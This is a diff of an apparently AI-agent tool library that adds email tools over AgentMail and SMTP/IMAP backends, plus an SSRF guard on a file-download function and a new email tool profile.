|
||||
kwargs["before"] = _dt.fromisoformat(before_date)
|
||||
response = client.inboxes.messages.list(inbox_id, **kwargs)
|
||||
msg_list = response.messages if hasattr(response, "messages") else response
|
||||
if not msg_list:
|
||||
return "No emails matched the search criteria."
|
||||
results = []
|
||||
for msg in msg_list:
|
||||
sender = getattr(msg, "from_", "") or "unknown"
|
||||
subject = getattr(msg, "subject", "(no subject)") or "(no subject)"
|
||||
preview = getattr(msg, "preview", "") or ""
|
||||
msg_id = getattr(msg, "message_id", "")
|
||||
timestamp = getattr(msg, "timestamp", "") or getattr(msg, "created_at", "")
|
||||
labels = getattr(msg, "labels", []) or []
|
||||
results.append(
|
||||
f"- From: {sender}\n"
|
||||
f" Subject: {subject}\n"
|
||||
f" Preview: {preview[:100]}{'...' if len(preview) > 100 else ''}\n"
|
||||
f" Labels: {', '.join(labels) if labels else 'none'}\n"
|
||||
f" ID: {msg_id}\n"
|
||||
f" Date: {timestamp}"
|
||||
)
|
||||
return f"Found {len(results)} email(s):\n\n" + "\n\n".join(results)
|
||||
except Exception as e:
|
||||
logger.error(f"Failed to search emails: {e}")
|
||||
return f"Failed to search emails: {e}"
|
||||
|
||||
|
||||
def _agentmail_archive_email(message_id: str) -> str:
|
||||
client = _get_client()
|
||||
inbox_id = _get_inbox_id()
|
||||
message_id = _normalize_message_id(message_id)
|
||||
try:
|
||||
client.inboxes.messages.update(
|
||||
inbox_id, message_id,
|
||||
add_labels=["ARCHIVED"], remove_labels=["INBOX"],
|
||||
)
|
||||
logger.info(f"Email archived: {message_id}")
|
||||
return f"Email archived successfully (ID: {message_id})"
|
||||
except Exception as e:
|
||||
logger.error(f"Failed to archive email {message_id}: {e}")
|
||||
return f"Failed to archive email: {e}"
|
||||
|
||||
|
||||
def _agentmail_forward_email(message_id: str, to: str, note: Optional[str] = None) -> str:
|
||||
client = _get_client()
|
||||
inbox_id = _get_inbox_id()
|
||||
message_id = _normalize_message_id(message_id)
|
||||
try:
|
||||
kwargs = {"to": to}
|
||||
if note:
|
||||
kwargs["text"] = note
|
||||
result = client.inboxes.messages.forward(inbox_id, message_id, **kwargs)
|
||||
fwd_id = getattr(result, "message_id", "unknown")
|
||||
logger.info(f"Email forwarded to {to}: {fwd_id}")
|
||||
return f"Email forwarded to {to} (ID: {fwd_id})"
|
||||
except Exception as e:
|
||||
logger.error(f"Failed to forward email {message_id}: {e}")
|
||||
return f"Failed to forward email: {e}"
|
||||
|
||||
|
||||
def _agentmail_draft_email(to: str, subject: str, body: str) -> str:
|
||||
client = _get_client()
|
||||
inbox_id = _get_inbox_id()
|
||||
try:
|
||||
result = client.inboxes.drafts.create(inbox_id, to=[to], subject=subject, text=body)
|
||||
draft_id = getattr(result, "draft_id", "unknown")
|
||||
logger.info(f"Draft created: {draft_id}")
|
||||
return f"Draft created (ID: {draft_id}). Use send_draft to send it."
|
||||
except Exception as e:
|
||||
logger.error(f"Failed to create draft: {e}")
|
||||
return f"Failed to create draft: {e}"
|
||||
|
||||
|
||||
def _agentmail_send_draft(draft_id: str) -> str:
|
||||
client = _get_client()
|
||||
inbox_id = _get_inbox_id()
|
||||
try:
|
||||
result = client.inboxes.drafts.send(inbox_id, draft_id)
|
||||
msg_id = getattr(result, "message_id", "unknown")
|
||||
logger.info(f"Draft sent: {msg_id}")
|
||||
return f"Draft sent successfully (Message ID: {msg_id})"
|
||||
except Exception as e:
|
||||
logger.error(f"Failed to send draft {draft_id}: {e}")
|
||||
return f"Failed to send draft: {e}"
|
||||
|
||||
|
||||
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
|
||||
# SMTP/IMAP Backend — uses standard mailbox credentials
|
||||
# Zero external dependencies (Python stdlib smtplib + imaplib)
|
||||
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
|
||||
|
||||
_SMTP_DEFAULTS = {
|
||||
"gmail.com": ("smtp.gmail.com", 587),
|
||||
"googlemail.com": ("smtp.gmail.com", 587),
|
||||
"outlook.com": ("smtp.office365.com", 587),
|
||||
"hotmail.com": ("smtp.office365.com", 587),
|
||||
"live.com": ("smtp.office365.com", 587),
|
||||
"yahoo.com": ("smtp.mail.yahoo.com", 587),
|
||||
"icloud.com": ("smtp.mail.me.com", 587),
|
||||
}
|
||||
|
||||
_IMAP_DEFAULTS = {
|
||||
"gmail.com": ("imap.gmail.com", 993),
|
||||
"googlemail.com": ("imap.gmail.com", 993),
|
||||
"outlook.com": ("outlook.office365.com", 993),
|
||||
"hotmail.com": ("outlook.office365.com", 993),
|
||||
"live.com": ("outlook.office365.com", 993),
|
||||
"yahoo.com": ("imap.mail.yahoo.com", 993),
|
||||
"icloud.com": ("imap.mail.me.com", 993),
|
||||
}
|
||||
|
||||
|
||||
def _get_smtp_config():
|
||||
"""Get SMTP config from env vars with smart defaults."""
|
||||
email_addr = os.environ.get("EMAIL_ADDRESS", "")
|
||||
password = os.environ.get("EMAIL_PASSWORD", "")
|
||||
if not email_addr or not password:
|
||||
raise ValueError(
|
||||
"EMAIL_ADDRESS and EMAIL_PASSWORD environment variables are required. "
|
||||
"For Gmail, use an App Password: https://myaccount.google.com/apppasswords"
|
||||
)
|
||||
domain = email_addr.split("@")[-1].lower()
|
||||
default_smtp = _SMTP_DEFAULTS.get(domain, (f"smtp.{domain}", 587))
|
||||
smtp_server = os.environ.get("EMAIL_SMTP_SERVER", default_smtp[0])
|
||||
smtp_port = int(os.environ.get("EMAIL_SMTP_PORT", str(default_smtp[1])))
|
||||
return email_addr, password, smtp_server, smtp_port
|
||||
|
||||
|
||||
def _get_imap_config():
|
||||
"""Get IMAP config from env vars with smart defaults."""
|
||||
email_addr = os.environ.get("EMAIL_ADDRESS", "")
|
||||
password = os.environ.get("EMAIL_PASSWORD", "")
|
||||
if not email_addr or not password:
|
||||
raise ValueError(
|
||||
"EMAIL_ADDRESS and EMAIL_PASSWORD environment variables are required."
|
||||
)
|
||||
domain = email_addr.split("@")[-1].lower()
|
||||
default_imap = _IMAP_DEFAULTS.get(domain, (f"imap.{domain}", 993))
|
||||
imap_server = os.environ.get("EMAIL_IMAP_SERVER", default_imap[0])
|
||||
imap_port = int(os.environ.get("EMAIL_IMAP_PORT", str(default_imap[1])))
|
||||
return email_addr, password, imap_server, imap_port
|
||||
|
||||
|
||||
def _imap_connect(readonly: bool = True):
|
||||
"""Connect to IMAP and select INBOX. Returns (mail, email_addr)."""
|
||||
import imaplib
|
||||
email_addr, password, imap_server, imap_port = _get_imap_config()
|
||||
mail = imaplib.IMAP4_SSL(imap_server, imap_port)
|
||||
mail.login(email_addr, password)
|
||||
mail.select("INBOX", readonly=readonly)
|
||||
return mail, email_addr
|
||||
|
||||
|
||||
def _decode_header_value(raw_value: str) -> str:
|
||||
"""Decode a MIME-encoded header value."""
|
||||
from email.header import decode_header
|
||||
parts = decode_header(raw_value)
|
||||
result = ""
|
||||
for part, charset in parts:
|
||||
if isinstance(part, bytes):
|
||||
result += part.decode(charset or "utf-8", errors="replace")
|
||||
else:
|
||||
result += part
|
||||
return result
|
||||
|
||||
|
||||
def _extract_body_preview(msg, max_len: int = 100) -> str:
|
||||
"""Extract plain text body preview from an email message."""
|
||||
if msg.is_multipart():
|
||||
for part in msg.walk():
|
||||
if part.get_content_type() == "text/plain":
|
||||
payload = part.get_payload(decode=True)
|
||||
if payload:
|
||||
return payload.decode(
|
||||
part.get_content_charset() or "utf-8", errors="replace"
|
||||
)[:max_len]
|
||||
else:
|
||||
payload = msg.get_payload(decode=True)
|
||||
if payload:
|
||||
return payload.decode(
|
||||
msg.get_content_charset() or "utf-8", errors="replace"
|
||||
)[:max_len]
|
||||
return ""
|
||||
|
||||
|
||||
def _smtp_send_email(to: str, subject: str, body: str) -> str:
|
||||
import smtplib
|
||||
from email.mime.text import MIMEText
|
||||
try:
|
||||
email_addr, password, smtp_server, smtp_port = _get_smtp_config()
|
||||
msg = MIMEText(body, "plain")
|
||||
msg["From"] = email_addr
|
||||
msg["To"] = to
|
||||
msg["Subject"] = subject
|
||||
with smtplib.SMTP(smtp_server, smtp_port) as server:
|
||||
server.starttls()
|
||||
server.login(email_addr, password)
|
||||
server.send_message(msg)
|
||||
logger.info(f"SMTP email sent to {to}")
|
||||
return f"Email sent successfully to {to} from {email_addr}"
|
||||
except ValueError as e:
|
||||
return str(e)
|
||||
except Exception as e:
|
||||
logger.error(f"Failed to send SMTP email to {to}: {e}")
|
||||
return f"Failed to send email: {e}"
|
||||
|
||||
|
||||
def _smtp_list_emails(limit: int = 10) -> str:
|
||||
import email as email_lib
|
||||
try:
|
||||
mail, _ = _imap_connect(readonly=True)
|
||||
status, data = mail.search(None, "ALL")
|
||||
if status != "OK" or not data[0]:
|
||||
mail.logout()
|
||||
return "No emails found in inbox."
|
||||
msg_ids = data[0].split()
|
||||
latest_ids = msg_ids[-limit:]
|
||||
latest_ids.reverse()
|
||||
results = []
|
||||
for uid in latest_ids:
|
||||
status, msg_data = mail.fetch(uid, "(RFC822)")
|
||||
if status != "OK":
|
||||
continue
|
||||
msg = email_lib.message_from_bytes(msg_data[0][1])
|
||||
subject = _decode_header_value(msg.get("Subject", "(no subject)"))
|
||||
sender = msg.get("From", "unknown")
|
||||
date = msg.get("Date", "")
|
||||
preview = _extract_body_preview(msg)
|
||||
results.append(
|
||||
f"- From: {sender}\n"
|
||||
f" Subject: {subject}\n"
|
||||
f" Preview: {preview}{'...' if len(preview) >= 100 else ''}\n"
|
||||
f" Date: {date}"
|
||||
)
|
||||
mail.logout()
|
||||
if not results:
|
||||
return "No emails found in inbox."
|
||||
return f"Found {len(results)} email(s):\n\n" + "\n\n".join(results)
|
||||
except ValueError as e:
|
||||
return str(e)
|
||||
except Exception as e:
|
||||
logger.error(f"Failed to read inbox: {e}")
|
||||
return f"Failed to read inbox: {e}"
|
||||
|
||||
|
||||
def _smtp_read_email(message_id: str) -> str:
|
||||
import email as email_lib
|
||||
try:
|
||||
mail, _ = _imap_connect(readonly=True)
|
||||
# Search by Message-ID header
|
||||
search_id = message_id if message_id.startswith("<") else f"<{message_id}>"
|
||||
status, data = mail.search(None, f'HEADER Message-ID "{search_id}"')
|
||||
if status != "OK" or not data[0]:
|
||||
mail.logout()
|
||||
return f"Email not found with Message-ID: {message_id}"
|
||||
uid = data[0].split()[0]
|
||||
status, msg_data = mail.fetch(uid, "(RFC822)")
|
||||
mail.logout()
|
||||
if status != "OK":
|
||||
return f"Failed to fetch email: {message_id}"
|
||||
msg = email_lib.message_from_bytes(msg_data[0][1])
|
||||
subject = _decode_header_value(msg.get("Subject", "(no subject)"))
|
||||
sender = msg.get("From", "unknown")
|
||||
to = msg.get("To", "")
|
||||
date = msg.get("Date", "")
|
||||
body = _extract_body_preview(msg, max_len=10000)
|
||||
result = f"From: {sender}\nTo: {to}\nSubject: {subject}\nDate: {date}\n\n{body}"
|
||||
return result
|
||||
except ValueError as e:
|
||||
return str(e)
|
||||
except Exception as e:
|
||||
logger.error(f"Failed to read email {message_id}: {e}")
|
||||
return f"Failed to read email: {e}"
|
||||
|
||||
|
||||
def _smtp_reply_email(message_id: str, body: str) -> str:
|
||||
import smtplib
|
||||
import email as email_lib
|
||||
from email.mime.text import MIMEText
|
||||
try:
|
||||
# Read original email to get sender and subject
|
||||
mail, email_addr = _imap_connect(readonly=True)
|
||||
search_id = message_id if message_id.startswith("<") else f"<{message_id}>"
|
||||
status, data = mail.search(None, f'HEADER Message-ID "{search_id}"')
|
||||
if status != "OK" or not data[0]:
|
||||
mail.logout()
|
||||
return f"Original email not found: {message_id}"
|
||||
uid = data[0].split()[0]
|
||||
status, msg_data = mail.fetch(uid, "(RFC822)")
|
||||
mail.logout()
|
||||
if status != "OK":
|
||||
return f"Failed to fetch original email: {message_id}"
|
||||
original = email_lib.message_from_bytes(msg_data[0][1])
|
||||
reply_to = original.get("Reply-To") or original.get("From", "")
|
||||
subject = original.get("Subject", "")
|
||||
if not subject.lower().startswith("re:"):
|
||||
subject = f"Re: {subject}"
|
||||
# Send reply
|
||||
_, password, smtp_server, smtp_port = _get_smtp_config()
|
||||
msg = MIMEText(body, "plain")
|
||||
msg["From"] = email_addr
|
||||
msg["To"] = reply_to
|
||||
msg["Subject"] = subject
|
||||
msg["In-Reply-To"] = search_id
|
||||
msg["References"] = search_id
|
||||
msg["Auto-Submitted"] = "auto-replied"
|
||||
with smtplib.SMTP(smtp_server, smtp_port) as server:
|
||||
server.starttls()
|
||||
server.login(email_addr, password)
|
||||
server.send_message(msg)
|
||||
logger.info(f"Reply sent to {reply_to}")
|
||||
return f"Reply sent to {reply_to}"
|
||||
except ValueError as e:
|
||||
return str(e)
|
||||
except Exception as e:
|
||||
logger.error(f"Failed to reply to {message_id}: {e}")
|
||||
return f"Failed to reply: {e}"
|
||||
|
||||
|
||||
def _smtp_search_emails(
|
||||
query: Optional[str] = None,
|
||||
from_addr: Optional[str] = None,
|
||||
subject: Optional[str] = None,
|
||||
limit: int = 20,
|
||||
) -> str:
|
||||
import email as email_lib
|
||||
try:
|
||||
mail, _ = _imap_connect(readonly=True)
|
||||
# Build IMAP search criteria
|
||||
criteria = []
|
||||
if from_addr:
|
||||
criteria.append(f'FROM "{from_addr}"')
|
||||
if subject:
|
||||
criteria.append(f'SUBJECT "{subject}"')
|
||||
if query:
|
||||
criteria.append(f'TEXT "{query}"')
|
||||
if not criteria:
|
||||
criteria.append("ALL")
|
||||
search_str = " ".join(criteria)
|
||||
status, data = mail.search(None, search_str)
|
||||
if status != "OK" or not data[0]:
|
||||
mail.logout()
|
||||
return "No emails matched the search criteria."
|
||||
msg_ids = data[0].split()
|
||||
latest_ids = msg_ids[-min(limit, 50):]
|
||||
latest_ids.reverse()
|
||||
results = []
|
||||
for uid in latest_ids:
|
||||
status, msg_data = mail.fetch(uid, "(RFC822)")
|
||||
if status != "OK":
|
||||
continue
|
||||
msg = email_lib.message_from_bytes(msg_data[0][1])
|
||||
msg_subject = _decode_header_value(msg.get("Subject", "(no subject)"))
|
||||
sender = msg.get("From", "unknown")
|
||||
date = msg.get("Date", "")
|
||||
mid = msg.get("Message-ID", "")
|
||||
preview = _extract_body_preview(msg)
|
||||
results.append(
|
||||
f"- From: {sender}\n"
|
||||
f" Subject: {msg_subject}\n"
|
||||
f" Preview: {preview}{'...' if len(preview) >= 100 else ''}\n"
|
||||
f" ID: {mid}\n"
|
||||
f" Date: {date}"
|
||||
)
|
||||
mail.logout()
|
||||
if not results:
|
||||
return "No emails matched the search criteria."
|
||||
return f"Found {len(results)} email(s):\n\n" + "\n\n".join(results)
|
||||
except ValueError as e:
|
||||
return str(e)
|
||||
except Exception as e:
|
||||
logger.error(f"Failed to search emails: {e}")
|
||||
return f"Failed to search emails: {e}"
|
||||
|
||||
|
||||
def _smtp_archive_email(message_id: str) -> str:
|
||||
try:
|
||||
import imaplib
|
||||
mail, email_addr = _imap_connect(readonly=False)
|
||||
search_id = message_id if message_id.startswith("<") else f"<{message_id}>"
|
||||
status, data = mail.search(None, f'HEADER Message-ID "{search_id}"')
|
||||
if status != "OK" or not data[0]:
|
||||
mail.logout()
|
||||
return f"Email not found: {message_id}"
|
||||
uid = data[0].split()[0]
|
||||
# Gmail: copy to All Mail, then delete from INBOX
|
||||
# Other: just mark as \Seen and \Deleted
|
||||
domain = email_addr.split("@")[-1].lower()
|
||||
if domain in ("gmail.com", "googlemail.com") or os.environ.get("EMAIL_IMAP_SERVER", "").endswith("gmail.com"):
|
||||
mail.copy(uid, "[Gmail]/All Mail")
|
||||
mail.store(uid, "+FLAGS", "\\Deleted")
|
||||
else:
|
||||
mail.store(uid, "+FLAGS", "(\\Seen \\Deleted)")
|
||||
mail.expunge()
|
||||
mail.logout()
|
||||
logger.info(f"Email archived: {message_id}")
|
||||
return f"Email archived successfully (ID: {message_id})"
|
||||
except ValueError as e:
|
||||
return str(e)
|
||||
except Exception as e:
|
||||
logger.error(f"Failed to archive email {message_id}: {e}")
|
||||
return f"Failed to archive email: {e}"
|
||||
|
||||
|
||||
def _smtp_draft_email(to: str, subject: str, body: str) -> str:
|
||||
import imaplib
|
||||
import time
|
||||
from email.mime.text import MIMEText
|
||||
try:
|
||||
email_addr, password, imap_server, imap_port = _get_imap_config()
|
||||
msg = MIMEText(body, "plain")
|
||||
msg["From"] = email_addr
|
||||
msg["To"] = to
|
||||
msg["Subject"] = subject
|
||||
mail = imaplib.IMAP4_SSL(imap_server, imap_port)
|
||||
mail.login(email_addr, password)
|
||||
# Gmail uses [Gmail]/Drafts, others use Drafts or DRAFTS
|
||||
domain = email_addr.split("@")[-1].lower()
|
||||
if domain in ("gmail.com", "googlemail.com") or imap_server.endswith("gmail.com"):
|
||||
drafts_folder = "[Gmail]/Drafts"
|
||||
else:
|
||||
drafts_folder = "Drafts"
|
||||
mail.append(drafts_folder, "\\Draft", imaplib.Time2Internaldate(time.time()), msg.as_bytes())
|
||||
mail.logout()
|
||||
logger.info(f"Draft saved to {drafts_folder}")
|
||||
return f"Draft saved to {drafts_folder} (To: {to}, Subject: {subject})"
|
||||
except ValueError as e:
|
||||
return str(e)
|
||||
except Exception as e:
|
||||
logger.error(f"Failed to save draft: {e}")
|
||||
return f"Failed to save draft: {e}"
|
||||
|
||||
|
||||
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
|
||||
# Generic Tools — Auto-detect backend
|
||||
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
|
||||
|
||||
def send_email(to: str, subject: str, body: str) -> str:
|
||||
"""Send an email to someone.
|
||||
|
||||
Auto-detects backend: AgentMail (if AGENTMAIL_API_KEY set) or
|
||||
SMTP (if EMAIL_ADDRESS + EMAIL_PASSWORD set).
|
||||
|
||||
Args:
|
||||
to: Recipient email address (e.g. [email protected])
|
||||
subject: Email subject line
|
||||
body: Email body text content
|
||||
|
||||
Returns:
|
||||
Confirmation message with the sent message ID
|
||||
"""
|
||||
backend = _detect_backend()
|
||||
if backend == "agentmail":
|
||||
return _agentmail_send_email(to, subject, body)
|
||||
return _smtp_send_email(to, subject, body)
|
||||
|
||||
|
||||
def list_emails(limit: int = 10) -> str:
|
||||
"""List recent emails in the inbox.
|
||||
|
||||
Auto-detects backend: AgentMail or IMAP.
|
||||
|
||||
Args:
|
||||
limit: Maximum number of emails to return (default 10)
|
||||
|
||||
Returns:
|
||||
Summary of recent emails with sender, subject, and preview
|
||||
"""
|
||||
backend = _detect_backend()
|
||||
if backend == "agentmail":
|
||||
return _agentmail_list_emails(limit)
|
||||
return _smtp_list_emails(limit)
|
||||
|
||||
|
||||
def read_email(message_id: str) -> str:
|
||||
"""Read the full content of a specific email.
|
||||
|
||||
Auto-detects backend: AgentMail or IMAP.
|
||||
|
||||
Args:
|
||||
message_id: The message ID to read (get this from list_emails)
|
||||
|
||||
Returns:
|
||||
Full email content including sender, subject, and body
|
||||
"""
|
||||
backend = _detect_backend()
|
||||
if backend == "agentmail":
|
||||
return _agentmail_read_email(message_id)
|
||||
return _smtp_read_email(message_id)
|
||||
|
||||
|
||||
def reply_email(message_id: str, body: str) -> str:
|
||||
"""Reply to an email message.
|
||||
|
||||
Auto-detects backend: AgentMail or SMTP.
|
||||
|
||||
Args:
|
||||
message_id: The message ID to reply to (get this from list_emails)
|
||||
body: Reply body text
|
||||
|
||||
Returns:
|
||||
Confirmation with the reply message ID
|
||||
"""
|
||||
backend = _detect_backend()
|
||||
if backend == "agentmail":
|
||||
return _agentmail_reply_email(message_id, body)
|
||||
return _smtp_reply_email(message_id, body)
|
||||
|
||||
|
||||
def search_emails(
|
||||
query: Optional[str] = None,
|
||||
from_addr: Optional[str] = None,
|
||||
subject: Optional[str] = None,
|
||||
label: Optional[str] = None,
|
||||
after_date: Optional[str] = None,
|
||||
before_date: Optional[str] = None,
|
||||
limit: int = 20,
|
||||
) -> str:
|
||||
"""Search emails by keyword, sender, subject, label, or date range.
|
||||
|
||||
Auto-detects backend: AgentMail or IMAP.
|
||||
AgentMail supports: label, after_date, before_date.
|
||||
IMAP supports: query (text search), from_addr, subject.
|
||||
|
||||
Args:
|
||||
query: Search text in email body (IMAP only)
|
||||
from_addr: Filter by sender email (IMAP only)
|
||||
subject: Filter by subject text (IMAP only)
|
||||
label: Filter by label (AgentMail only, e.g. "INBOX", "SENT")
|
||||
after_date: Only emails after this date (ISO format, e.g. "2025-01-15")
|
||||
before_date: Only emails before this date (ISO format, e.g. "2025-03-01")
|
||||
limit: Maximum number of results (default 20, max 50)
|
||||
|
||||
Returns:
|
||||
Matching emails with sender, subject, preview, and ID
|
||||
"""
|
||||
backend = _detect_backend()
|
||||
if backend == "agentmail":
|
||||
return _agentmail_search_emails(label, after_date, before_date, limit)
|
||||
return _smtp_search_emails(query, from_addr, subject, limit)
|
||||
|
||||
|
||||
def archive_email(message_id: str) -> str:
|
||||
"""Archive an email (remove from inbox, keep in archive).
|
||||
|
||||
Auto-detects backend: AgentMail or IMAP.
|
||||
Gmail: moves to All Mail. Other providers: marks as deleted from inbox.
|
||||
|
||||
Args:
|
||||
message_id: The message ID to archive (get this from list_emails or search_emails)
|
||||
|
||||
Returns:
|
||||
Confirmation message
|
||||
"""
|
||||
backend = _detect_backend()
|
||||
if backend == "agentmail":
|
||||
return _agentmail_archive_email(message_id)
|
||||
return _smtp_archive_email(message_id)
|
||||
|
||||
|
||||
def forward_email(message_id: str, to: str, note: Optional[str] = None) -> str:
|
||||
"""Forward an email to another recipient.
|
||||
|
||||
Requires AgentMail backend. IMAP/SMTP does not support forwarding
|
||||
(workaround: read_email + send_email).
|
||||
|
||||
Args:
|
||||
message_id: The message ID to forward (get this from list_emails)
|
||||
to: Recipient email address to forward to
|
||||
note: Optional note to include above the forwarded message
|
||||
|
||||
Returns:
|
||||
Confirmation with the forwarded message ID
|
||||
"""
|
||||
backend = _detect_backend()
|
||||
if backend == "agentmail":
|
||||
return _agentmail_forward_email(message_id, to, note)
|
||||
return "Forward not supported with IMAP. Use read_email + send_email as a workaround."
|
||||
|
||||
|
||||
def draft_email(to: str, subject: str, body: str) -> str:
|
||||
"""Create an email draft without sending it.
|
||||
|
||||
Auto-detects backend: AgentMail or IMAP.
|
||||
AgentMail: use send_draft() to send later.
|
||||
IMAP: saves to Drafts folder (send from your email client).
|
||||
|
||||
Args:
|
||||
to: Recipient email address
|
||||
subject: Email subject line
|
||||
body: Email body text
|
||||
|
||||
Returns:
|
||||
Confirmation with draft details
|
||||
"""
|
||||
backend = _detect_backend()
|
||||
if backend == "agentmail":
|
||||
return _agentmail_draft_email(to, subject, body)
|
||||
return _smtp_draft_email(to, subject, body)
|
||||
|
||||
|
||||
def send_draft(draft_id: str) -> str:
|
||||
"""Send a previously created email draft.
|
||||
|
||||
AgentMail only. IMAP drafts must be sent from your email client.
|
||||
|
||||
Args:
|
||||
draft_id: The draft ID to send (get this from draft_email)
|
||||
|
||||
Returns:
|
||||
Confirmation with the sent message ID
|
||||
"""
|
||||
backend = _detect_backend()
|
||||
if backend == "agentmail":
|
||||
return _agentmail_send_draft(draft_id)
|
||||
return "send_draft requires AgentMail. IMAP drafts must be sent from your email client."
|
||||
|
||||
|
||||
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
|
||||
# AgentMail-only tools (no IMAP equivalent)
|
||||
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
|
||||
|
||||
def list_inboxes() -> str:
|
||||
"""List all email inboxes available (AgentMail only).
|
||||
|
||||
Returns:
|
||||
List of inbox email addresses
|
||||
"""
|
||||
client = _get_client()
|
||||
try:
|
||||
response = client.inboxes.list()
|
||||
inbox_list = response.inboxes if hasattr(response, "inboxes") else response
|
||||
if not inbox_list:
|
||||
return "No inboxes found."
|
||||
results = []
|
||||
for inbox in inbox_list:
|
||||
email = getattr(inbox, "inbox_id", "unknown")
|
||||
display = getattr(inbox, "display_name", "") or ""
|
||||
label = f"{email} ({display})" if display else email
|
||||
results.append(f"- {label}")
|
||||
return f"Found {len(results)} inbox(es):\n" + "\n".join(results)
|
||||
except Exception as e:
|
||||
logger.error(f"Failed to list inboxes: {e}")
|
||||
return f"Failed to list inboxes: {e}"
|
||||
|
||||
|
||||
def create_inbox(display_name: Optional[str] = None) -> str:
|
||||
"""Create a new email inbox (AgentMail only).
|
||||
|
||||
Args:
|
||||
display_name: Optional display name for the inbox
|
||||
|
||||
Returns:
|
||||
Details of the created inbox
|
||||
"""
|
||||
client = _get_client()
|
||||
try:
|
||||
if display_name:
|
||||
try:
|
||||
from agentmail.inboxes.types import CreateInboxRequest
|
||||
result = client.inboxes.create(
|
||||
request=CreateInboxRequest(display_name=display_name)
|
||||
)
|
||||
except ImportError:
|
||||
result = client.inboxes.create()
|
||||
else:
|
||||
result = client.inboxes.create()
|
||||
inbox_id = getattr(result, "inbox_id", "unknown")
|
||||
name = getattr(result, "display_name", "") or ""
|
||||
logger.info(f"Inbox created: {inbox_id}")
|
||||
label = f"{inbox_id} ({name})" if name else inbox_id
|
||||
return f"Inbox created: {label}"
|
||||
except Exception as e:
|
||||
logger.error(f"Failed to create inbox: {e}")
|
||||
return f"Failed to create inbox: {e}"
|
||||
|
||||
|
||||
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
|
||||
# Backward-compatible aliases (smtp_ prefix)
|
||||
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
|
||||
|
||||
def smtp_send_email(to: str, subject: str, body: str) -> str:
|
||||
"""Send an email using SMTP (Gmail, Outlook, etc.).
|
||||
|
||||
Uses EMAIL_ADDRESS and EMAIL_PASSWORD env vars.
|
||||
|
||||
Args:
|
||||
to: Recipient email address
|
||||
subject: Email subject line
|
||||
body: Email body text
|
||||
|
||||
Returns:
|
||||
Confirmation message
|
||||
"""
|
||||
return _smtp_send_email(to, subject, body)
|
||||
|
||||
|
||||
def smtp_read_inbox(limit: int = 10, folder: str = "INBOX") -> str:
|
||||
"""Read recent emails from your mailbox using IMAP.
|
||||
|
||||
Uses EMAIL_ADDRESS and EMAIL_PASSWORD env vars.
|
||||
|
||||
Args:
|
||||
limit: Maximum number of emails to return (default 10)
|
||||
folder: Mailbox folder to read from (default INBOX)
|
||||
|
||||
Returns:
|
||||
Summary of recent emails with sender, subject, and preview
|
||||
"""
|
||||
return _smtp_list_emails(limit)
|
||||
|
||||
|
||||
def smtp_search_inbox(
|
||||
query: Optional[str] = None,
|
||||
from_addr: Optional[str] = None,
|
||||
subject: Optional[str] = None,
|
||||
limit: int = 20,
|
||||
) -> str:
|
||||
"""Search emails using IMAP SEARCH.
|
||||
|
||||
Uses EMAIL_ADDRESS and EMAIL_PASSWORD env vars.
|
||||
|
||||
Args:
|
||||
query: Search text in email body
|
||||
from_addr: Filter by sender email address
|
||||
subject: Filter by subject text
|
||||
limit: Maximum number of results (default 20)
|
||||
|
||||
Returns:
|
||||
Matching emails with sender, subject, preview
|
||||
"""
|
||||
return _smtp_search_emails(query, from_addr, subject, limit)
|
||||
|
||||
|
||||
def smtp_archive_email(message_id: str) -> str:
|
||||
"""Archive an email using IMAP.
|
||||
|
||||
Gmail: moves to All Mail. Other providers: marks as deleted.
|
||||
|
||||
Args:
|
||||
message_id: The Message-ID header value
|
||||
|
||||
Returns:
|
||||
Confirmation message
|
||||
"""
|
||||
return _smtp_archive_email(message_id)
|
||||
|
||||
|
||||
def smtp_draft_email(to: str, subject: str, body: str) -> str:
|
||||
"""Save an email draft using IMAP APPEND.
|
||||
|
||||
Saves to Drafts folder ([Gmail]/Drafts for Gmail).
|
||||
|
||||
Args:
|
||||
to: Recipient email address
|
||||
subject: Email subject line
|
||||
body: Email body text
|
||||
|
||||
Returns:
|
||||
Confirmation message
|
||||
"""
|
||||
return _smtp_draft_email(to, subject, body)
|
||||
@@ -286,12 +286,26 @@ class FileTools:
|
||||
}
|
||||
|
||||
try:
|
||||
# Validate URL to prevent SSRF
|
||||
from urllib.parse import urlparse
|
||||
parsed_url = urlparse(url)
|
||||
if parsed_url.scheme not in ("http", "https"):
|
||||
return {"success": False, "path": "", "size": 0, "error": f"Unsupported URL scheme: {parsed_url.scheme}"}
|
||||
import ipaddress, socket
|
||||
try:
|
||||
hostname = parsed_url.hostname or ""
|
||||
ip = ipaddress.ip_address(socket.gethostbyname(hostname))
|
||||
if ip.is_private or ip.is_loopback or ip.is_reserved or ip.is_link_local:
|
||||
return {"success": False, "path": "", "size": 0, "error": f"URL resolves to private/reserved IP: {ip}"}
|
||||
except (socket.gaierror, ValueError):
|
||||
pass # Let the request handle DNS resolution errors
|
||||
|
||||
# Validate destination path
|
||||
safe_path = FileTools._validate_path(destination)
|
||||
|
||||
|
||||
# Create directory if needed
|
||||
os.makedirs(os.path.dirname(safe_path) or ".", exist_ok=True)
|
||||
|
||||
|
||||
# Download file
|
||||
with httpx.stream("GET", url, timeout=timeout, follow_redirects=True) as response:
|
||||
response.raise_for_status()
|
||||
|
||||
@@ -88,6 +88,16 @@ BUILTIN_PROFILES: Dict[str, ToolProfile] = {
|
||||
tools=["store_learning", "search_learning"],
|
||||
description="Categorized knowledge store/search (requires learn=True on Agent)",
|
||||
),
|
||||
"email": ToolProfile(
|
||||
name="email",
|
||||
tools=["send_email", "list_emails", "read_email", "reply_email"],
|
||||
description="Email send/read via AgentMail API (requires AGENTMAIL_API_KEY)",
|
||||
),
|
||||
